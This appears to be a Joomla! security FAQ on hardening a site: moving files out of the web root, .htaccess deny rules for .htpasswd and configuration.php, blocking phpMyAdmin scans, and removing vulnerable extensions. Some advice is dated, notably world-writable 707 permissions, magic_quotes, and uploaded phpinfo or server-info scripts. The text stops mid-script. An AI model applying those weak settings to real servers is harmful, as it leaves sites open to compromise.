Despite it's apparently vulnerable location, Joomla! uses various effective methods for blocking exploits. Chief among them is to add a line of code at the top of any PHP file that requires extra protection. This method is very effective as long as each and every file requiring such protection, has it. One vulnerable file exposes the whole site.

'''The challenge'''

The practice of placing everything in public_html, and then building a little fence inside each file can become an administrative nightmare. One vulnerable file exposes the entire server. This is a glaring example of an allow, then deny security model.

This model requires very careful upgrades, constant log reviews, and proactive plugging of new vulnerabilities as soon as they become known. (Since you have to beat the attackers, you'll be in a hurry, and may inadvertently do something stupid, potentially creating other vulnerabilities.)

During installations and upgrades, you must verify (or trust someone else to verify) every line of code, of every new file, for every known vulnerability. And because scripts can have unintended consequences on each other, you cannot forget to test, test, test. Of course this is generally true for all software, but placing the entire application in public_html makes the issue extremely critical.

The recent wave of URL injection attacks against poorly-written third party extensions would have been much less successful if those files had been stored outside of public_html, and thus simply unavailable through URLs. Note that in many cases the actual vulnerabilities could still exist within the files, but being inside the fence (outside of public_html) they would not be exposed to URL injections.

To (Deny, then Allow), or (Allow, then Deny)?

The real problem with the above "all known" qualifier is that it is an allow, then deny model. In other words, we first give everyone access to every file and then deny access to specific files by adding a line of code.

Consider the logic for a password authentication script. We have essentially two choices:
# First allow all access, then deny any username/password combination that DOES NOT match the approved list.
# First deny all access, then allow any username/password combination that DOES match the approved list.

Obviously the second method is better. A passing familiarity with regular expressions shows that the first method is much more difficult to write securely. It fails anew each time a new variation of some attack is developed, and tends to require constant revisions. Over time, such revisions become so complex that the authentication system itself becomes a source of vulnerabilities.

Conceptually, the second method is an example of building a strong fence around your site (deny), and then granting access using a limited and well-defined set of criteria (then allow). If the script fails, the most likely result is that someone who should have access is blocked. That may be highly inconvenient, but it's not usually a security breach.

'''The good news'''

# In Joomla! 1.0.x, some extensions, and the Joomla! framework, give you the option of locating critical directories outside of public_html after you have completed the installation. Whenever possible you should do this.
# Joomla! 1.5 goes far in the right direction. It provides several new constants for specifying the location of particularly sensitive directories, including configuration, administrator, libraries, and installation.
# Joomla! 1.5 is able to run as an FTP account. This provides another method for protecting files on a file by file and directory by directory basis.

==How do I adjust Joomla 1.5 defines {{JVer|1.5}}==

There are two defines files that will generally need to be edited. /includes/defines.php file is for the front end and /administrator/includes/defines.php is for the Joomla administrator end. Below is the relevant code.

define( 'JPATH_ROOT' , implode( DS, $parts ) );
define( 'JPATH_SITE' , JPATH_ROOT );
define( 'JPATH_CONFIGURATION', JPATH_ROOT );
define( 'JPATH_ADMINISTRATOR', JPATH_ROOT . DS . 'administrator' );
define( 'JPATH_LIBRARIES' , JPATH_ROOT . DS . 'libraries' );
define( 'JPATH_INSTALLATION' , JPATH_ROOT . DS . 'installation' );

.DS. = Directory Seperator

==Moving sensitive files outside the web root==
{{:Moving sensitive files outside the web root}}

==How do I block direct access to critical files using .htaccess?==
# Make a backup copy of your .htaccess file. Use your backup file to recover if the following fails. Be sure to delete the backup file once you are finished.
# Add the following to your .htaccess file. This example will protect both the configurtation.php and .htaccess files.

<Files .htaccess>
order allow,deny
deny from all
</Files>

<FilesMatch "configuration.php">
Order allow,deny
Deny from all
</FilesMatch>

You can also protect a lot of file extensions in one single rule. Exemple (the file names between ' '''(''' ' and ' ''')''' ' in this rule are the file extensions to protect ):

<FilesMatch "\.(htaccess|htpasswd|ini|phps|log|sh|conf)$">
Order allow,deny
Deny from all
</FilesMatch>

==How do I recursively adjust file and directory permissions?==

'''Using Joomla! Administration'''

In the Back-end, go to Site --> Global Configuration --> Server.

'''Using the UNIX shell'''

'''Note:''' The find command automatically assumes that it should start from the current directory. To be safe, go to your public_html directory and specify a path as the first argument. Some shells, such as bash on Apple OS X, must have a path specified in the find command.

find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;
chmod 707 images
chmod 707 images/stories
chown apache:apache cache

'''Notes:'''
# Test all third party extensions after changing permissions.
# You may need to reset write permissions to install more extensions.

==How can I set the administrator directory to use an SSL server (https)? {{JVer|1.0}}==

Use Joomla version 1.5 or newer

A standard Joomla! 1.0.x installation does not support SSL for individual directories, however there are various (elegant and not so elegant) hacks posted in the forums.

Note that earlier techniques involving the variable $mosConfig_live_site are deprecated, and will not work with current Joomla! versions due to increased security enhancements.

'''More Help'''
# [http://www.netshinesoftware.com/security/using-an-ssl-certificate-with-your-joomla-website.html Netshine Software, Ltd: Using an SSL Certificate with your Joomla Website]

==Why isn't restricting access by IP recommended?==

Restricting site access by IP address is not particularly effective longterm as many exploits are enacted from hijacked machines or via proxies, masking the real attacker's actual IP Address. Attackers can attack from many different compromised machines. Blocking them will block the legitimate owners of that IP, but may not block the attackers.

= Joomla! Extensions =

==Why are there vulnerable extensions?==

A list of currently known [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions].

: Anyone may write and distribute a Joomla! extension. As a service to the global community, this freedom is actively encouraged and supported by the Joomla! Core team. Due to the openness and popularity of the Joomla! project, there are a wide variety of extensions offering a vast array of features. The quality and breadth of Joomla! extensions is one of the main advantages of Joomla.

: However this freedom comes with a price. It requires individual responsibility, and can survive only where a majority of participants act responsibly. Joomla's success has led to unwanted attention from malicious types, such as script kiddies who run simple, automated scripts in an effort to find and deface others' Web sites.

: It is important to note that, script kiddies unintentionally perform a valuable service. They help us identify vulnerable extensions and poorly configured servers that might otherwise remain open to more serious threats.

==What is a vulnerable extension?==

A vulnerable extension is one that has been found to contain (or contribute to) a security vulnerability.

Vulnerable extensions are not necessarily poorly-coded. As the Web evolves, technical requirements and commonly accepted coding practices change. Active projects release new versions of their extensions as requirements change. For this reason, it is important to:

# Know the version numbers of all installed extensions.
# Use only the latest stable version of all extensions.
# Completely remove all files of insecure or unused extensions.

==How do I choose secure extensions?==

: The most important thing anyone can do is make good decisions regarding the extensions they choose to use on a site. Once an insecure or malicious extension is installed you should consider your entire site compromised. There is NO POSSIBLE WAY to protect or stop a component from accessing database tables it should not be accessing. There is no possible way to stop a component from sending all of the information it found back to a cracker website. Once an insecure or malicious component is installed, your entire site is insecure.

: With all of that said, here are some pretty easy tips for making good choices regarding the extensions you install:

1. When was the last version released?

: If it has been over a year, consider the project abandoned and find something else. Do not install old components.

2. What kind of release is it? (Stable, Release Candidate (RC), Beta, Alpha)

: For production sites you should be sticking to Stable releases as much as possible. If you cannot wait until a Stable release has been made available, Release Candidates are the only other option you should consider. I would not suggest anyone install any Beta or Alpha extensions on a production site. This means they still have bugs, they have not been tested enough, and could have any number of inconvenient bugs or security issues that have not been fixed or worse, found.

3. Does the extension have a history of good security practices?

: This is obviously a bit more subjective but it is still a very valid gauge of future trustworthiness. It requires a bit of investigation and research. Look around their download pages and archives, are there many security release or patches? Are there a lot of reports of cracking activity through this extension? Are the developers experienced and security conscious? What do other community members think of this extension? One example that comes to mind that has little to do with Joomla itself (which makes it a fair example) is phpBB. This script has had more security issues than I could get my head around and there routinely seems to be newly disclosed issues. Because of this, I would never use phpBB. In my opinion its is not trustworthy and there is a high probability that there will be more major security issues.

4. Is there a support community for this extension?

: This is very important for usability and security awareness. If there is a support community for an extension there is a better chance of security issues being known and dealt with. A support community means that people would like to continue using the extension and that they care about the extension. This furthers the chance that security issues will be found, disclosed, and dealt with promptly.

5. Is there only a Mambo version of this extension?

: While this does not in itself make an extension insecure but is rather a gauge of support, how recently the last realease was, and future support. There is a pretty narrow chance that Mambo components will be supported in 1.5 so save yourself the trouble and find a component made to work with Joomla. It will make your life easier.

6. Is the extension generally bug free?

: I hinted on this a little bit in number three but I think it is worth discussing in more depth. While it is almost impossible for an extension to be completely bug free, the smaller the number of bugs, the better. If there are bugs in the software it means there are mistakes in the software. The more mistakes, the higher risk of usability issues and security issues. Security issues are often a result of not one bug, but several bugs or bad practices. For example, the recent 3rd party vulnerabilities that allow for remote file inclusion are a result of:

'''Bad Practices:'''

# Having PHP's Register Globals enabled.
# Using out of date or abandoned extension.
# No other security checks enabled for PHP. (url_fopen off, open_basedir restrictions, disabled PHP functions)
# Poorly configured file permissions.
# No request filtering or software "firewall". (such as mod_rewrite rules or mod_security Apache modules)

'''Bugs:'''

# Not including defined('_VALID_MOS') or die... statements
# Poorly constructed include() statements.

'''Although the Joomla! core is secure when configured correctly, third party extensions come in all flavors of age and quality. Unless you absolutely trust the extension developer, always review the code should before installing. The following is a list of typical areas of concern.'''

1. How complex is the extension?

: The larger it is, the more likely it is to have problems, and the more carefully you should review it. If you can't tell what it's doing, you should not trust it.

2. Does the extension read or write files to your server?

: Programs that read files may inadvertently violate access restrictions you've set up, or pass sensitive system information to crackers. Programs that write files have the potential to modify or damage existing files, or introduce trojan horses.

3. Does the extension interact with other programs on your system?

: For example, many extensions send e-mail in response to a form input by opening a connection with the sendmail program. Is it doing this in a safe way?

4. Does the extension run with suid (set-user-id) privileges?

: In general this is very dangerous; extensions need an excellent reasons for doing this.

5. Does the extension validate all user input, such as in form fields and in the URL?

6. Does the extension use explicit path names when invoking external programs?

: Relying on the PATH environment variable to resolve partial path names is a dangerous practice.

7. Is the extension secure against direct access throught the URL?

: For example: www.yoursite.com/components/com_bad_extension.php?lots_of_bad_code_here

8. Is the extension secure against remote file inclusions?

9. Is the extension secure against SQL injections?

10. Is the extension secure against Cross Site Scripting (XSS)?

11. Does the extension need PHP register_globals ON, or Joomla! RG Emulation ON?

: If so, then it is probably violating number 7 above.

12. Does the extension provide higher database access to less privileged users?

: For example does it allow guests or registered users to view data that only publishers or administrators should be able to see?

==Why does the Extensions site include insecure extensions?==
'''
Overview'''

The Joomla! Extensions site exists as a free service to the community. Anyone can post extensions there and extensions exist at all levels of quality and maturity.

If an extension is found to contain vulnerabilities, it will be removed from the site until a safer version is released, but there is no guarantee that the vulnerabilities of every extension have been discovered or reported.

To be safe, you must verify the security of every extension you install.

Below is the text of the Joomla! Extensions site disclaimer. Ignore it at your peril.

'''Disclaimer'''

: The extensions and reviews listed in this area have been submitted by the community and their listing does not constitute or imply endorsement, recommendation, or favouring by Joomla!/OSM.

: This content is provided as a free service to our visitors, and, as such, Joomla!/OSM cannot be held liable for the accuracy of the information. Visitors wishing to verify that the information is correct should contact the parties responsible for authoring the content and/or development of the extension.

==Why is there a warning in the extensions install screen?==

It's just a warning! You are of course free to install any extension you want onto your own site, but remember that '''YOU''' are responsible for the safety of your site and the quality of the applications you install.

The vast majority of reported Joomla! vulnerabilities are through poorly-written or obsolete versions of third party extensions that should not have been left on the server. Therefore, before installing anything carefully evaluate the quality of the extension's code.

The [[Vulnerable Extensions List]] is a valuable source of information on what '''NOT''' to install.

==Why isn't un-publishing a vulnerable extension enough to protect my site?==

'''Overview'''

: Simply removing the menu links to an extension, or unpublishing a module is NOT enough to protect your site! As long as the extension's files exist on your server, you are vulnerable. Note how in the following examples an attacker can bypass the Joomla! index file to directly target any file, of any extension.

www.your_site.org/components/com_bad_component/vulnerable_file.php
www.your_site.org/modules/mod_bad_module/vulnerable_file.php

'''Directions for removing a vulnerable extension'''

1. Make a list of files to remove

: If you can locate it, read the extension's xml file to determine exactly which directories, files, and database tables were added to your system. The xml file is in the original zip archive used during the extension install process. For example, the zip archive for an extension called mod_vulnerable, would contain an xml file called, mod_vulnerable.xml, and might contain a list of files such as the following:

mod_vulnerable.php
mod_vulnerable/vulnerable_file.txt
mod_vulnerable/another_vulnerable_file.txt
mod_vulnerable/yet_another_vulnerable_file.txt
mod_vulnerable/index.html

2. Uninstall via the Joomla Installer:

: Using the Installer in the Joomla! Administrator backend, uninstall the vulnerable extension. You may also need to uninstall related modules, components, or plugins.

3. Check that the uninstall process was complete:

: Don't trust the extension to safely remove all of it's files. Compare directories and files on your system to the extension's xml list to ensure that all related files were actually removed.

4. Optionally, remove related database tables:

: Check your database and remove any tables created by the extension. To ease the upgrade process to new versions, many uninstall scripts do not remove related database tables. You can find the list of tables in each extension's xml file. (If you plan on installing a safer, compatible version of the same extension and you want to reuse existing data, you can usually leave the database tables as they are.)

= Apache =
'''Covers information on Apache Web server, Apache modules, .htaccess files, etc.'''

==What is Apache modSecurity?==

'''Overview'''

ModSecurity is an Apache module that functions as an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make web application firewall technology available to everyone.

When configuring ModSecurity, it is important to know that it is not only the Joomla! application that may require unique rules, but also the data that the application processes.

Quality hosting providers customize mod_security rules to suit each customer.

If you have a conflict between Joomla and ModSecurity, it is often third party components, and sometimes even contact form submissions that trigger the problem. Joomla out of the box ''usually'' works with typical ModSecurity settings, but this is dependent on each hosting provider's unique configuration.

Overall, mod_security is a excellent tool, but this is really something your host should manage.

One specific error is the failure of file uploads, this is often caused by SecFilterScanPOST being enabled. If you get an internal server error while using the flash upload in the Media Manager this is a good place to start. You can disable this setting by adding '''SecFilterScanPOST Off''' to your .htaccess file.

ModSecurity configurations are far too varied and complex to describe here. To learn more, see the following resources:

'''Resources'''

# [http://www.modsecurity.org/ Official ModSecurity Site]
# [http://www.modsecurity.org/projects/modsecurity/apache/index.html ModSecurity and Apache]

== How do I block directory scans using .htaccess? ==

'''Directions'''

Add one of the following Apache rewrite rules to your .htaccess file. The first example will internally rewrite all attempts to access files with names starting with "phpMyAdmin" to index.php. Be wary of using this as it allows a seemingly valid duplicate URL for your homepage. The second rule is more safe. It simply returns a 403 response.

'''Sample Apache Rewrite Rule'''

RewriteRule ^phpMyAdmin /index.php [L]
RewriteRule ^phpMyAdmin - [F]

'''Some Regular Expression Tips'''

^ Means start of pattern
. Means any character other than newlines
+ Means one or more of the previous character
* Means zero or more of the previous character
$ Means end of pattern
\. Literal periods must be escaped with a leading \

==How can I change PHP settings using .htaccess? ==

'''Introduction'''

This FAQ explains how to set boolean PHP configuration directives using php_flag. The format for php_flag is: php_flag name on|off

'''Directions'''

1. Open the .htaccess file located in your site's home directory, or if you don't have one, create a blank one now. Note the period character (.) at the beginning of the file name.

2. Add any of the following code samples to your .htaccess file, each on it's own line. These sample commands will prevent common global variable injection attacks, cross site scripting (XSS) sttacks, and code injection attacks.

php_flag register_globals off

php_flag allow_url_fopen off

php_flag magic_quotes_gpc on

''Note that although the magic_quotes_gpc directive adds a layer of security, for performance reasons it is not considered a best practice. If you have verified that your site correctly filters and validates all user data (and every production site really should), then there is no need to add this directive. If you have any doubt, add it.''

3. Save the .htaccess file in your site's home directory.

4. Test your site's front end and back end.

==How does FastCGI effect Joomla?==

When PHP runs from FastCGI, your server runs the PHP interpreter like an Apache module, but with the rights of your user account. Usually, the PHP interpreter is either running as the user of the webserver (which is fast, but insecure, since everyone's scripts run with the same rights), or as a CGI program, which is slow. Thus, FastCGI is a good solution for shared hosting.

Since the PHP interpreter runs as a single instance, it does (AFAIK) not parse the .htaccess or php.ini files per directory. To change php.ini settings, your host must offer you a method to set up or modify your own php.ini, or at least parts of it. Here is how one of host does this: it parses one php.ini file (which the user can modify) once an hour, and puts some well-defined settings into the web server's main php.ini file. Thus, users are able to change some settings for their site only, such as turning register_globals off, switching between PHP4 and PHP5.

If your server uses FastCGI, you can ask them to enable a method such as the above example, or you may be able to ask them adjust some settings for you.

==How can I check if mod_rewrite is enabled?==

Many problems with search engine optimization (SEO) arise from the fact that a host has not enabled mod_rewrite on the server.

1. Enable SEO in your administrator! (administrator > SEO > Enable > Save)

2. Rename your htaccess.txt to .htaccess, or use your existing .htaccess file.

3. Place ONLY the following lines in your .htaccess file in the domain root folder.

<source lang="apache"> Options +FollowSymLinks
RewriteEngine On
RewriteRule ^joomla\.html http://www.joomla.org/ [R=301,L]</source>

4. Point your browser to: http://www.example.com/joomla.html

(Replace 'example.com' with your site's actual URL.)

5. If you are redirected to www.joomla.org, mod_rewrite is working. If you get an error, mod_rewrite is not working.

6. Note: if your site is located in a folder, for example "test" you will need to modify the .htaccess file as follows:

<source lang="apache"> Options +FollowSymLinks
RewriteEngine On
RewriteRule ^test/joomla\.html http://www.joomla.org/ [R=301,L]</source>

== How do I switch to PHP5 using .htaccess? ==

'''Overview'''

Many shared server environments currently run .php scripts using the PHP4 interpreter and .php5 code using the PHP5 interpreter. Rather than changing all your file extensions, and perhaps breaking many links, use a .htaccess file to dynamically map one extension to the other.

'''IMPORTANT CAVEAT:''' One common reason for doing this is that hosts leave PHP4 configured with register_globals ON in order to support legacy code while offering PHP5 with register_globals OFF. If you are on a shared server at a host that has configured register_globals ON server wide, you should be very worried!

Turning register globals OFF via a local php.ini or a .htaccess file will NOT offer you any extra protection. Another exploited account on your server can simple hack yours. For server security, and since php 4.2, register globals is OFF server wide by default (php default). Any host overriding this is inviting trouble. If you need register globals ON for a specific site, simple use a .htaccess file for that specific directory, and server wide security will not be compromised. Of course, if you do this be sure all effected scripts fully sanitize input data.

'''Requirements'''

1. Your Apache server must be configured to use .htaccess files. If not, you may be able to request this from your host.
2. Your Apache configuration must allow the following setting. If not, you may be able to request this from your host.
3. Your host must have configured the .php and .php5 file extensions as described above. If not, they may possibly have chosen other extensions. Check with your host.

'''Directions'''

1. Check to be sure your site is configured to use .htaccess files.

2. Make a backup of the .htaccess file in your root public_http directory. If you don't have a .htaccess file at this location, create one now.

3. There are various ways to set the comman, depending on your server configuration. One of the following will probably work. Add ONE the following lines at the end of your .htaccess file. If unsure which to use, check with your hosting provider on which version works best for your configuration.

AddType x-mapp-php5 .php
AddHandler application/x-httpd-php5 .php
AddHandler cgi-php5 .php

4. Carefully test.

5. Delete the backup .htaccess file. Don't leave backups of .htaccess files in public directories.

==How do I password protect directories using .htaccess?==

'''Overview'''

This FAQ explains how to protect the Joomla! /administrator/ directory on Apache servers using the htpasswd utility. You can easily adapt these instructions to protect other directories. If you need help finding or creating your .htaccess file, start here.

'''Caveat (From Apache.org)'''

Basic authentication should not be considered secure for any particularly rigorous definition of secure.
Although the password is stored on the server in encrypted format, it is passed from the client to the server in plain text across the network. Anyone listening with any variety of packet sniffer will be able to read the username and password in the clear as it goes across.

Not only that, but remember that the username and password are passed with every request, not just when the user first types them in. So the packet sniffer need not be listening at a particularly strategic time, but just for long enough to see any single request come across the wire.

And, in addition to that, the content itself is also going across the network in the clear, and so if the web site contains sensitive information, the same packet sniffer would have access to that information as it went past, even if the username and password were not used to gain direct access to the web site.

Don't use basic authentication for anything that requires real security. It is a detriment for most users, since very few people will take the trouble, or have the necessary software and/or equipment, to find out passwords. However, if someone had a desire to get in, it would take very little for them to do so.

Basic authentication across an SSL connection, however, will be secure, since everything is going to be encrypted, including the username and password.

'''Directions'''

1. If you are unfamiliar with the Apache htpasswd utility, you may want to read the following link first.
Apache Authentication, Authorization, and Access Control

2. Check to be sure your site is configured to use .htaccess files. If not sure, ask your host.

3. Decide where to put your .htaccess file. Because Apache recursively searches all directories in a path for .htaccess files, the higher in your directory structure you place this file, the more directories it will control. If there is already an .htaccess file in the directory you choose, it's probably best to add the new code to it.

4. Decide where to store your.htpasswd and .htgroups files. These files should NEVER be publicly accessable through the Web. Below is an example directory structure showing good locations for each file. Note that the /auth/ directory in this example is NOT accessible from the Web.

/home/mysite/public_html/.htaccess
/home/mysite/auth/.htpasswd/
/home/mysite/auth/.htgroups/

5. Create the .htpasswd and .htgroups files as explained in the official Apache HowTo, referenced above. (Since you've read the always current and official documentation at Apache.org, we'll spare you the trouble of displaying it again here.)

6. If a .htaccess file already exists in the directory you have chosen, make a backup copy. If the file does not exist, create a new file with that name now. (Don't forget the dot at the beginning of the name.)

7. Add the following code to the .htaccess file. Adjust the example paths (marked in red) as needed for your server. Adjust the group name that you created in step 5 if it differs from the below example.

AuthUserFile /home/auth/.htpasswd
AuthGroupFile /home/auth/.htgroups
AuthType Basic
AuthName "LWS"
require group admins

8. Test carefully.

9. Remove all backup .htaccess files from public_http directories.

10. If you cannot use the Apache htpasswd utility, here's a free, online script that creates the necessary files for you. You'll need to know the user name, password, and path. The script does the rest for you. Note that for more advanced configuration, such as the use of groups, you'll need to edit the resulting files.

'''.htaccess Generator:''' http://www.webmaster-toolkit.com/htaccess-generator.shtml

== How do I restrict directory access by IP address using .htaccess? ==

'''Overview'''

This can be a very effective way to protect your Joomla! administrator directory. Any other directory in public_html can be protected in the same way. This method only works if you have a static IP address assigned to you. Anyone attempting to browse such directories using a different IP Address will get a 403 Forbidden error.

'''Directions'''
# In the directory you wish to protect, open (or create) a file called, .htaccess. (Note the dot at the beginning of the file name.)
# Add the following code to this file, replacing 100.100.100.100 in this example with the static IP address you plan to allow:

Order Deny,Allow
Deny from all
Allow from 100.100.100.100

* Optional: You can enter partial IP Addresses, such as, 100.100.100. This allows access to a range of addresses.

* Optional: You can add multiple addresses by separating them with comma's.

100.100.100.101, 100.100.100.102

==How do I convert an htaccess.txt file into a .htaccess file?==

'''Introduction'''

When using PHP as an Apache module, you can change the configuration settings using directives in Apache configuration files (e.g. httpd.conf and .htaccess files). You will need "AllowOverride Options" or "AllowOverride All" privileges to do so. If you control your own Apache configuration, you can and should use httpd.conf. If you do not control your Apache configuration (such as on a shared server), you must use .htaccess files.

'''Directions'''

# First look for the file, htaccess.txt in your root directory. It should have been installed during the Joomla! installation. (Note that this file name does not begin with a dot.) Open and carefully read htaccess.txt. It contains important suggestions on how to protect your site.
# Make any adjustments to this file as appropriate for your site, and then save it in your site's home directory as, .htaccess (including the dot).
# Test your site's front end and back end. If it produces errors, rename the file back to htaccess.txt, and troubleshoot your edits. If you are unable to get this working, you may have to leave the file named htaccess.txt.
# Use phpinfo() to ensure that all configurations set as you intended. Note: Web-accessible files that include phpinfo() are potential security risks they offer attackers lots of useful information about your server. Always remove such files after use.

'''More Information'''

* [http://us2.php.net/configuration.changes Official PHP Manual: How to change configuration settings]
* [http://us2.php.net/manual/en/ini.php#ini.list Official PHP Manual: List of PHP INI directives]

== How do I block direct hot linking to image files using .htaccess? ==

'''Caveats'''

# Your server must allow .htaccess files for this technique to work.
# If you do not have a .htaccess file in your root directory, see the related FAQ first.
# Do not use this method to redirect image hot links to HTML pages or to servers that are not your own.
# Hot linked images can only be replaced by other images, not with HTML pages.
# As with any .htaccess rewrite, you may block legitimate traffic, such as users behind proxies or firewalls.

'''Directions'''

# Create a jpeg image called no_hot_link.jpe. Note that the odd file extention (.jpe) is intentional and important. Place this file in your images directory.
# Place the following code in the .htaccess file of your root directory.

<source lang="apache"> RewriteEngine On
RewriteCond %{HTTP_REFERER} !^http://([^.]+\.)*your_site\.com/ [NC]
RewriteCond %{HTTP_REFERER} !^$
RewriteRule \.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]</source>

'''Explanation'''

The first line begins the Apache rewrite rule. The second line matches any requests from your own site, here called your_site.com url. The [NC] flag means "aNy Case", which means, match any and all upper and lower case characters. The third line allows empty referrals such as when a user is behind a caching proxy. The last line matches any files ending with the extension jpeg, jpg, gif, bmp, or png. This is then replaced by the no_hot_link.jpe file in your images directory. This JPEG file uses the extension jpe instead of jpg to prevent these rules from blocking your replacement image.

'''Block hot linking from specific domains'''

To stop hotlinking from specific domains only, such as myspace.com, blogspot.com and livejournal.com, while allowing other web sites to hotlink to your images, use the following code:

<source lang="apache"> RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*myspace\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*blogspot\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*livejournal\.com/ [NC]
RewriteRule \.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L]</source>

You can add as many different domains as you want. Every RewriteCond line except the last one should end with the [NC,OR] flags. NC means to ignore case. OR means "Or Next", as in, match this line OR the next line. The last RewriteCond omits the OR flag to stop matching after the last RewriteCond.

'''Display a 403 forbidden code'''

Alternatively, you can display a 403 Forbidden error code. Replace the last line of the previous examples with this line:

RewriteRule \.(jpe?g|gif|bmp|png)$ - [F]

= PHP =

== Why is Joomla! written in PHP? ==

: Might as well get it from the horse's mouth. In [http://www.oracle.com/technology/pub/articles/php_experts/rasmus_php.html Do you PHP?], Rasmus Lerdorf, the originator of PHP, sums up how and why PHP developed as it did.

: ''"What it all boils down to is that PHP was never meant to win any beauty contests. It wasn't designed to introduce any new revolutionary programming paradigms. It was designed to solve a single problem: the Web problem. That problem can get quite ugly, and sometimes you need an ugly tool to solve your ugly problem. Although a pretty tool may, in fact, be able to solve the problem as well, chances are that an ugly PHP solution can be implemented much quicker and with many fewer resources. That generally sums up PHP's stubborness."''

== What is the latest stable release of PHP? ==

Check the [http://www.php.net/downloads.php official PHP download page] for information on the latest PHP release.

== How do I tune for speed with PHP5 and MySQL5? ==

: This is just a point by point summary of how I've been tuning and tweaking our Joomla sites to get them running as quickly as possible. For reference, we run all our sites off a Rackspace dedicated server, with 1Gb RAM, a 2Ghz dual core Athlon, running Apache 2.0.x (current revision), PHP 5.0.x (current revision) and MySQL 5.0.18.

: These are listed in terms of apparent speed increase - that is, not the sheer speed for the full page, but the speed before the page is usable to view content, even if not all features are loaded.

# PHP caching. I had been running eAccelerator, but switched to APC today, and it has made the system even faster than before, and eAccelerator was a big boost over uncached PHP. Joomla is a big complex system, so using precompiled code is a big time saver. I use a 128Mb in-memory cache, which is plenty for our needs.
# MySQL Query Caching. This one will vary depending on how dynamic your site is, and you can really kill the benefits by using the wrong extensions (any date/time based will need checking), but if you are serving pretty much the same queries each page load, it will drop the load times noticably.
# Template Image optimisation - template images really slow down the initial page load for first time visitors, so optimising the hell out of them makes sense. Remember that your template is probably not going to change as often as your story content, so you can afford to spend more time on optimising the images for it that you would otherwise. I recommend Irfanview, with the pngout plugin active for PNG images, and it isn't bad for JPG and GIF images either. Don't forget to ramp up the compression level of PNGs, and, if possible, reducing them to indexed pallettes.
# CSS compression. Easy one this - put a little script to output a gzipped version of your CSS file(s) and point your index.php at it. Example script below - I didn't write it, but it's short, to the point, and works.

ob_start ("ob_gzhandler");
header("Content-type: text/css");
header("Cache-Control: must-revalidate");
$offset = 60 * 60 ;
$ExpStr = "Expires: " .
gmdate("D, d M Y H:i:s",
time() + $offset) . " GMT";
header($ExpStr);

# Strip unneeded modules, components, mambots from Joomla. If you haven't used them, the impact on your loading time is minimal, but with more components/modules active, there are more points of failure, and Apache errors are slow!
# Scrutinise the Apache error log. It is amazing how many errors can crop up even with a fairly minimal Joomla install, and they don't necessarily affect the appearance of the page. Check your error log, especially if you are using custom components/modules, or any non-standard config settings. Once you've noticed any problems, it's time to fix the code creating them, and test thoroughly before uploading the fixed versions.
# Keep rechecking as you add/remove features, redesign or change any server configuration options. Even things like adding virtual servers in Apache can affect speed of the server, as a missed config setting can cause general Apache delays.

== Should PHP run as a CGI script or as an Apache module? ==

There are two ways to configure Apache to use PHP: 

# Configure Apache to load the PHP interpreter as an Apache module
# Configure Apache to run the PHP interpreter as a CGI binary

(PS: Windows IIS normaly configures as CGI by the way) 

It is the intention of this post to provide you information relating to
the configuration and recognition of each method. "In general"
historically only one method or the other has been implemented,
however, with the architectural changes made to PHP starting with PHP5,
it has been quite common for hosting firms to configure for both. One
version running as CGI and one version running as a Module. It is
generally accepted more recently that running PHP as a CGI is more
secure, however, running PHP as an Apache Module does have a slight
performance gain and is generally how most pre-configured systems will
be delivered out of the box.

What is the difference between CGI and apache Module Mode? 

An Apache module
is compiled into the Apache binary, so the PHP interpreter runs in the
Apache process, meaning that when Apache spawns a child, each process
already contains a binary image of PHP. A CGI is executed as a single
process for each request, and must make an exec() or fork() call to the
PHP executable, meaning that each request will create a new process of
the PHP interpreter. Apache is much more efficient in it's ability to
handle requests, and maaging resources, making the Apache module
slightly faster than the CGI (as well as more stable under load). 

CGI Mode
on the other hand, is more secure because the server now manages and
controls access to the binaries. PHP can now run as your own user
rather than the generic Apache user. This means you can put your
database passwords in a file readable only by you and your php scripts
can still access it! The "Group" and "Other" permissions ( refer <a href="component/option,com_easyfaq/task,view/id,73/Itemid,268/" target="_blank">Permissions FAQ</a>

can now be more restrictive. CGI mode is also claimed to be more
flexible in many respects as you should now not see, with phpSuExec (
refer [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html" target="_blank Permissions under phpSuExec]
issues with file ownership being taken over by the Apache user,
therefore you should no-longer have problems under FTP when trying to
access or modify files that have been uploaded through a PHP interface,
such as Joomla! upload options.

If your server is
configured to run PHP as an Apache module, then you will have the
choice of using either php.ini or Apache .htaccess files, however, if
your server runs PHP in CGI mode then you will only have the choice of
using php.ini files locally to change settings, as Apache is no longer
in complete control of PHP.

<hr />

Testing and Reviewing Your PHP Installation 

Also known as "Everything you ever wanted and didn't want to know about PHP"

To
find out the PHP interpreter mode and to generally test your PHP
installation and to find out a vast amount of information about your
PHP environment, supported utilities, applications and settings, you
create a single PHP file containing only the following lines; 


phpinfo(); 

This single line of code outputs an amazing amount of information, be warned.... <img src="http://forum.joomla.org/Smileys/joomla/wink.gif" alt="Wink" border="0" />

Save the file as any filename you wish, but with the ".php" extension. FTP it to your server and open it in a browser.

Other useful information

The following are PHP functions, that when run from a PHP File can provide some useful information, (less than the above option) many should run on most hosts, however many hosts disable some of these functions for security. No Guarantee's offered...

Again,
as above, make a file, name it anything you wish but make sure it has
the ".php" extension, copy and paste the following lines in to it and
FTP to your server. 

<? echo "Hostname: ". @php_uname(n) ."";
if (function_exists( 'shell_exec' )) { echo "Hostname: ".
@gethostbyname(trim(`hostname`)); } else { echo "Server IP: ".
$_SERVER['SERVER_ADDR'] .""; }
echo "Platform: ". @php_uname(s) ." ". @php_uname(r) ." ". @php_uname(v) ."";
echo "Architecture: ". @php_uname(m) ."";
echo "Username: ". get_current_user () ." ( UiD: ". getmyuid() .", GiD: ". getmygid() ." )";
echo "Curent Path: ". getcwd () ."";
echo "Server Type: ". $_SERVER['SERVER_SOFTWARE'] . "";
echo "Server Admin: ". $_SERVER['SERVER_ADMIN'] . "";
